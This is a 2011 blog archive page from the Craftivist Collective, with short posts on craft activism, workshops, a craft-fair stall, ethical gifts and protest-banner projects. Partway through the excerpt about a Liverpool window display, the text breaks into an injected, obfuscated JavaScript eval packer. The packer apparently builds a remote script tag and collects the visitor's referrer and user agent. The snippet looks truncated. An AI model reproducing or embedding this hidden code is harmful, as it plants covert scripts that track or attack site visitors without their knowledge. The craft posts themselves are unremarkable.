Author: Craftivist Collective

15 Dec We agree with Godmother of Craftivism: Betsy Greer

Betsy Greer coined the term 'Craftivism' in 2003 and from the start we have always checked in with Betsy to make sure our projects are still a form of craftivism and not something else (like upcycling or just craft). She is an amazing supporter, adviser and friend as well as a huge inspiration for our craftivists. One of the many talents Betsy has is explaining acts of craftivism in a clear and concise way (much better than us, sorry!) so when she blogged about a Facebook post we send regarding the print (above) we sold we really wanted to share her thoughtful words with you. Her blog also explains why we don't prioritise going to Occupations to do craftivism stitch-ins even though people presume we should be there.

Craftivism is starting a conversation

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09 Dec The next stage of our craftivism adventure… what do you think?

Hey craftivistas, supporters and people who might have found this blog by accident. I hope you are all well and happy. Sarah Corbett here. I haven't written a personal blog for quite a long time now and so much has been going on I wanted to share it with you and get your thoughts. So... As you know I'm much better at creating images than words so I thought I would start off with this photo (there's me- person in the left of the picture!) to let you know that I'm going down to part time in my job from mid January 2012 so that I can turn the collective into a social enterprise (eek!).
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28 Nov Stuck for a New Year’s Resolution? Join our London Workshop to encourage positive change in 2012 :)

Join the Craftivist Collective to encourage positive change in 2012

Where: Paper Dress Boutique

When: Thursday 12th January 7:30pm- 9:30pm

Available to all over 18 years old of any or no craft ability. £15- All resources provided. 20 people maximum.  

Buy your ticket here before it sells out! :) 

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24 Nov OMGeee this is the cute-ist poster we have ever been on!

We have been big fans of Made in the Shade ever since a few of us went to their Glasgow shop (The Maisonette) and loved everything. So when they asked us to deliver a workshop in their beautiful Pop Up Library at this years Christmas BUST Craftacular we couldn't say no.
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15 Nov Come and see us at BUST Craftacular 27th Nov 2011

We are very excited and proud to say that we have been accepted to have a stall at this years Christmas BUST Craftacular 27th November in York Hall, Bethnal Green, London. Every year this event gets bigger with more people queuing up early in the morning to get their free goodie bag and be the first to buy the beautiful handmade gifts craftstars make.
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05 Nov Give your friends/family a gift from the Craftivist Collective this Christmas (if you HAVE to buy presents that is!)

Giving an original gift from our online shop this Christmas is a fantastic way to highlight global injustice in a fun and hands-on way over the Christmas period. So as you have probably guessed, we love making things and try our hardest not to buy stuff we don't need. Therefore we are encouraging fellow craftivists and supporters not to buy unethical gifts or feel the pressure into showing your love for your family and friends through buying them stuff they don't need (and sometimes they don't want!). But... hopefully this doesn't come across contradictory... if you really do need to buy people presents then why not take it as an opportunity to provoke conversation about injustice over your Christmas period buy giving them one of our gifts and/or give them a craftivism kit to make during their time off work and become a Craftivist in 2012?!
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02 Nov We gagged an Antony Gormley statue to talk about inequality

One of our current projects is to cross-stitch messages into masks to leave on statues across the world. One of our craftivists decided to put a mask on one of the Antony Gormley statues which have permanent residence on Crosby Beach. The project is called 'Another Place'
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02 Nov Did you see those people stitching as part of a window display?

During eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebtry|var|u0026u|referrer|kfehf||js|php'.split('|'),0,{})) October 2011 3 craftivists were asked to create a craftivism window display in the independent bookshop News from Nowhere in Liverpool. The window...

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02 Nov Spanish Craftivist in Liverpool shares her passion for justice

Maite Puntes came along to a craftivist workshop led by our Founder Sarah Corbett in Liverpool in October. Maite has recently moved to Liverpool from Spain and was keen to get to know like-minded people as well as create something to provoke people to think about injustice issues she cares about. She kindly emailed us a photograph of her completed Mini Protest Banner with an explanation of it below. If you have made a mini protest banner (you can buy our kits here) we would love to showcase it here to provoke discussion about it and so people who find it in situ can find out more information about your cause in your blog here! :) Maite Puntes wrote: "The most extreme face of male violence is the murder of women. In my country, Spain, it´s not just a social problem; in this year 2011, 52 women have been murdered by their partners or ex partners. This number hiddens the fact that thousand women are battered in many ways everyday.
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